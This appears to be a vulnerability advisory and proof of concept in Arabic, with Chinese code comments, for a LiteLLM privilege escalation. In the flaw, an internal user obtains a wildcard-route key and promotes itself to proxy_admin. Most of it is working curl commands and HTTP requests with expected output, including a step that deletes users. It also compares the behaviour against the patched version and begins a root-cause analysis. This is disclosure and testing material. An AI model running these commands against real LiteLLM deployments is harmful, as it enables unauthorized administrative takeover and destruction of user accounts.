CVE-2026-47101 — تصعيد الامتياز في LiteLLM عبر /key/generate + /user/update

LiteLLM الإصدار v1.82.6 (ما قبل v1.83.14) يتيح نقطة النهاية /key/generate للمستخدم internal_user ذي الصلاحيات المنخفضة طلب مفتاح API مع مسار شامل ["/*"]، ثم رفع دور نفسه إلى proxy_admin عبر نقطة النهاية /user/update، مما يحقق تصعيدًا غير مصرح به للامتياز.

الحقل	القيمة
CVE	CVE-2026-47101
CVSS v3.1	8.8 (عالي) — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
CWE	CWE-863 (تفويض غير صحيح)
المتأثر	LiteLLM < 1.83.14 (مؤكد على v1.82.6)
الإصلاح	v1.83.14+ (تمت إضافة التحقق من دور allowed_routes)
النشر	2026-05-21
اكتشفه	Fenix Qiao (13ph03nix) — Obsidian Security
الروابط	NVD

---

الوصف

نقطة النهاية /key/generate في LiteLLM تُستخدم لإنشاء مفاتيح API، ونقطة النهاية /user/update تُستخدم لتحديث سمات المستخدم. توجد ثلاثة عيوب مترابطة في التحقق من التفويض لهاتين النقطتين يمكن للمستخدمين ذوي الصلاحيات المنخفضة استغلالها بالتسلسل:

1. /key/generate لا يتحقق من allowed_routes — أي دور (بما في ذلك internal_user) يمكنه طلب مسار شامل ["/*"]
2. التراجع في فحص المسار إلى مطابقة wildcard في allowed_routes — المفتاح الشامل الذي تم إنشاؤه يمكنه الوصول إلى جميع نقاط النهاية الإدارية
3. /user/update يسمح بتعديل حقل user_role ذاتيًا — باستخدام المفتاح الشامل يمكن رفع دور المستخدم إلى proxy_admin

سلسلة الهجوم

internal_user
  →  POST /key/generate  {"allowed_routes": ["/*"]}
  →  الحصول على مفتاح API شامل
  →  POST /user/update   {"user_id": "...", "user_role": "proxy_admin"}
  →  رفع الدور إلى proxy_admin
  →  GET  /user/list     (باستخدام المفتاح الشامل)
  →  التحقق من صلاحية الوصول الإداري

---

إثبات المفهوم

تجهيز البيئة

# 1. 启动 PostgreSQL + 有漏洞的 LiteLLM（v1.82.6，digest 固定）
docker compose up -d litellm

# 等待服务就绪（约 10-30 秒）
sleep 15

تأكيد تشغيل الخدمة

# 检查容器日志
docker logs litellm-privesc 2>&1 | tail -10

يجب أن يحتوي الإخراج المتوقع على سطر مثل Uvicorn running on http://0.0.0.0:4000 للإشارة إلى نجاح بدء التشغيل.

الخطوة 1: إنشاء حساب internal_user

استخدم المفتاح الرئيسي لإنشاء حساب internal_user منخفض الصلاحيات:

curl -s -X POST http://localhost:4000/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}'

الإخراج المتوقع:

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx"}

سجل user_id و key المعادين، حيث ستكون هناك حاجة إليهما في الخطوات التالية.

الخطوة 2: إنشاء مفتاح API بمسار شامل

بصفة internal_user، اتصل بنقطة النهاية /key/generate واطلب مفتاح API بمسار شامل ["/*"]:

# 将 sk-internal-user-key 替换为上一步获得的 key
curl -s -X POST http://localhost:4000/key/generate \
  -H "Authorization: Bearer sk-internal-user-key" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/*"]}'

الإخراج المتوقع:

{"key":"sk-xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx","allowed_routes":["/*"]}

⚠️ نقطة الضعف: نجح internal_user في إنشاء مفتاح API بمسار شامل ["/*"]! هذا المفتاح يمكنه الوصول إلى جميع نقاط النهاية الإدارية، بما في ذلك /user/update و /user/list إلخ.

الخطوة 3: رفع الامتياز إلى proxy_admin

استخدم المفتاح الشامل لاستدعاء /user/update ورفع دور المستخدم إلى proxy_admin:

curl -s -X POST http://localhost:4000/user/update \
  -H "Authorization: Bearer sk-wildcard-key" \
  -H "Content-Type: application/json" \
  -d '{"user_id": "your-user-id", "user_role": "proxy_admin"}'

الإخراج المتوقع:

{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","data":{"user_role":"proxy_admin",...}}

⚠️ نقطة الضعف: تم تغيير user_role من internal_user إلى proxy_admin! نقطة النهاية /user/update تسمح للمستخدم بتعديل حقل user_role الخاص به دون أي قيود.

الخطوة 4: التحقق من صلاحية الوصول الإداري

تحقق من نجاح رفع الامتياز عبر نقطة النهاية /user/list:

curl -s -X GET http://localhost:4000/user/list \
  -H "Authorization: Bearer sk-wildcard-key"

الإخراج المتوقع:

{"users":[{"user_id":"xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx","user_role":"proxy_admin",...}]}

نقطة النهاية /user/list مسموحة فقط لدور proxy_admin. الحصول على قائمة المستخدمين بنجاح يؤكد تفعيل رفع الامتياز.

الخطوة 5: التوسع — حذف مستخدم إداري

باستخدام صلاحية proxy_admin المكتسبة، يمكن حذف أي مستخدم عبر /user/delete:

curl -s -X POST http://localhost:4000/user/delete \
  -H "Authorization: Bearer sk-wildcard-key" \
  -H "Content-Type: application/json" \
  -d '{"user_ids": ["user-id-to-delete"]}'

الإخراج المتوقع:

1

---

إعادة الإنتاج بنقرة واحدة

تم دمج الخطوات أعلاه في demo.sh، يمكن تنفيذه مباشرة:

# 完整复现（包含步骤 1-5）
bash demo.sh

# 同时测试修复版本对比
bash demo.sh --fixed

---

التحقق من النسخة المُصلحة

ابدأ تشغيل النسخة المُصلحة (v1.83.14-stable) للتحقق من إصلاح الثغرة:

# 启动修复版本
docker compose --profile fixed up -d litellm-fixed

# 等待就绪
sleep 15

إنشاء internal_user:

FIXED_USER_KEY=$(curl -s -X POST http://localhost:4001/user/new \
  -H "Authorization: Bearer sk-litellm-master-key" \
  -H "Content-Type: application/json" \
  -d '{"role": "internal_user"}' | \
  python3 -c "import sys,json; print(json.load(sys.stdin).get('key',''))")

echo "Fixed user key: $FIXED_USER_KEY"

حاول إنشاء مفتاح بمسار شامل (من المتوقع منعه):

curl -s -X POST http://localhost:4001/key/generate \
  -H "Authorization: Bearer $FIXED_USER_KEY" \
  -H "Content-Type: application/json" \
  -d '{"allowed_routes": ["/*"]}'

الإخراج المتوقع (النسخة المُصلحة تمنع الطلب غير المصرح به):

{"error":{"message":"Not allowed","type":"auth_error","code":"403"}}

مقارنة مع النسخة الضعيفة:

سيناريو الاختبار	النسخة الضعيفة (v1.82.6)	النسخة المُصلحة (v1.83.14)
internal_user يطلب ["/*"]	✅ نجح في إنشاء مفتاح شامل	❌ تم المنع (HTTP 403)
المفتاح الشامل يعدل user_role	✅ نجح في رفع الامتياز إلى proxy_admin	❌ تم المنع
المفتاح الشامل يصل إلى /user/list	✅ نجح في الحصول على قائمة المستخدمين	❌ تم المنع

---

نقاط النهاية الضعيفة

POST /key/generate

إنشاء مفتاح API جديد. تُستخدم المعلمة allowed_routes لتقييد قائمة نقاط النهاية التي يمكن للمفتاح الوصول إليها.

الحقل	النوع	مطلوب	الوصف
allowed_routes	array	لا	قائمة المسارات المسموح بها، مثل ["/*"] لجميع المسارات

POST /user/update

تحديث سمات المستخدم، بما في ذلك الحقل user_role.

الحقل	النوع	مطلوب	الوصف
user_id	string	نعم	معرف المستخدم المراد تحديثه
user_role	string	نعم	الدور الجديد (مثل proxy_admin)

---

تقنية الاستغلال

الخطوة 1: إنشاء مفتاح API بمسار شامل

بصفة internal_user، اتصل بـ /key/generate واطلب مفتاحًا بـ ["/*"]:

POST /key/generate
Authorization: Bearer sk-internal-user-key
Content-Type: application/json

{"allowed_routes": ["/*"]}

يحتوي الرد على مفتاح API جديد يتمتع بصلاحية المسار الشامل.

الخطوة 2: رفع الدور إلى proxy_admin

استخدم المفتاح الشامل لاستدعاء /user/update:

POST /user/update
Authorization: Bearer sk-wildcard-key
Content-Type: application/json

{"user_id": "target-user-id", "user_role": "proxy_admin"}

الخطوة 3: التحقق من صلاحية الإدارة

GET /user/list
Authorization: Bearer sk-wildcard-key

---

تحليل السبب الجذري

يكمن السبب الجذري للثغرة في ثلاثة نقاط نقص في التحقق من التفويض:

1. /key/generate — نقص التحقق من دور allowed_routes

تقبل نقطة النهاية /key/generate المعامل allowed_routes وتربطه مباشرة بالمفتاح، دون التحقق من دور الطالب. حتى internal_user يمكنه طلب صلاحيات مسار إدارية.